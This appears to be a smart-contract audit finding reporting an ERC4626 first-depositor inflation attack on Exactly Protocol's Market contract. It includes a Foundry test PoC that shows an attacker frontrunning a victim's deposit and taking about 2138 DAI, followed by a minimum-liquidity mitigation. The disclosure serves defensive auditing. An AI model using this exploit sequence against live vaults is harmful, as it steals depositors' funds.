Itchy Candy Bat

high

# First Depositor Attack

## Summary

The first depositor of a market can steal part of the funds deposited by the next users. 

## Vulnerability Detail

A malicious user can perform a donation to execute a classic first depositor/ERC4626 inflation Attack against the new Exactly markets. The general process of this attack is well-known, and a detailed explanation of this attack can be found in many of the resources such as the following:

- https://blog.openzeppelin.com/a-novel-defense-against-erc4626-inflation-attacks
- https://mixbytes.io/blog/overview-of-the-inflation-attack

The sequence of the attack is the following:
1. The first user on the market deposits liquidity and takes a loan
2. After just one block, the attacker repays all the debt and withdraws liquidity except 1 wei.
    - At this point `totalSupply = 1` and `totalAssets = 2`.
3. After some time, a victim deposits liquidity in the market 
4. The attacker frontruns the victim's transaction by inflating the assets per share.
    - To do that, the attacker mints 1 share and withdraws 1 asset in a loop
5. When the victim deposits the liquidity, just 1 wei of shares is minted due to the rounding down.
6. Finally, the attacker redeems his one share, stealing part of the victim's deposit.

Moreover, after the attack is executed, the pool will be left in a dangerous state because the assets per share are still a huge amount. This will cause two possible scenarios for the next users depositing liquidity:

- If the next users don't deposit enough liquidity to mint 1 share, the transactions will revert causing a DoS.
- If the next users deposit enough to mint some shares (or just one), some of their assets will also be lost to the first victim due to the rounding down. 

## Impact

The first depositor of a market will steal part of the funds deposited by the next users. 

## PoC

The following PoC can be pasted in the `Market.t.sol` file and run with the following command `forge test --match-test test_inflation_attack`.

```solidity
function test_inflation_attack() external {
    uint256 attackerBalanceBefore = market.asset().balanceOf(address(this));

    // Attacker deposits and borrows to inflate the totalAssets
    market.deposit(100e18, address(this));
    market.borrow(50e18, address(this), address(this));

    // After just one block, the attacker repays all debt and withdraws all assets except 1 wei
    vm.warp(block.timestamp + 10);
    market.refund(50e18, address(this));
    market.redeem(100e18 - 1, address(this), address(this));

    assertEq(market.totalSupply(), 1);
    assertEq(market.totalAssets(), 2);

    // Now the attacker waits for a victim
    vm.warp(block.timestamp + 1 days);

    // The victim is going to deposit 10,000 DAI (10_000e18)
    address victim = makeAddr("victim");
    uint256 depositAmount = 9_000e18;

    // Before, the attacker frontruns the victim by inflating the totalAssets
    while (market.totalAssets() < depositAmount / 2) {
      market.mint(1, address(this));
      market.withdraw(1, address(this), address(this));
    }

    // The victim deposits 10,000 DAI
    MockERC20(address(market.asset())).mint(victim, depositAmount);
    vm.startPrank(victim);
    market.asset().approve(address(market), depositAmount);
    market.deposit(depositAmount, victim);
    vm.stopPrank();

    // The victim has minted only 1 share
    assertEq(market.balanceOf(victim), 1);

    // Now, attacker steals part of the victim's assets
    market.redeem(1, address(this), address(this));

    uint256 attackerBalanceAfter = market.asset().balanceOf(address(this));
    uint256 attackerProfit = attackerBalanceAfter - attackerBalanceBefore;

    // Attacker has stolen 2138 DAI from the victim
    assertEq(attackerProfit, 2138816758565177393151);

    // The victim has lost 2138 DAI
    assertEq(market.totalAssets(), depositAmount - attackerProfit);
    assertEq(market.previewRedeem(market.balanceOf(victim)), depositAmount - attackerProfit);
}
```

## Code Snippet

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L710

## Tool used

Manual Review

## Recommendation

To mitigate this issue is recommended to enforce a minimum liquidity of assets that must remain in the market always. 

Here is a possible implementation of the mitigation:

```diff

  /// @notice Hook to update the floating pool average, floating pool balance and distribute earnings from accumulator.
  /// @param assets amount of assets to be withdrawn from the floating pool.
  function beforeWithdraw(uint256 assets, uint256) internal override whenNotPaused {
    updateFloatingAssetsAverage();
    depositToTreasury(updateFloatingDebt());
    uint256 earnings = accrueAccumulatedEarnings();
    uint256 newFloatingAssets = floatingAssets + earnings - assets;
    // check if the underlying liquidity that the account wants to withdraw is borrowed
    if (floatingBackupBorrowed + floatingDebt > newFloatingAssets) revert InsufficientProtocolLiquidity();
    floatingAssets = newFloatingAssets;
+   require(totalAssets() > 1e6);
  }

  /// @notice Hook to update the floating pool average, floating pool balance and distribute earnings from accumulator.
  /// @param assets amount of assets to be deposited to the floating pool.
  function afterDeposit(uint256 assets, uint256) internal override whenNotPaused whenNotFrozen {
    updateFloatingAssetsAverage();
    uint256 treasuryFee = updateFloatingDebt();
    uint256 earnings = accrueAccumulatedEarnings();
    floatingAssets += earnings + assets;
    depositToTreasury(treasuryFee);
    emitMarketUpdate();
+   require(totalAssets() > 1e6);
  }
```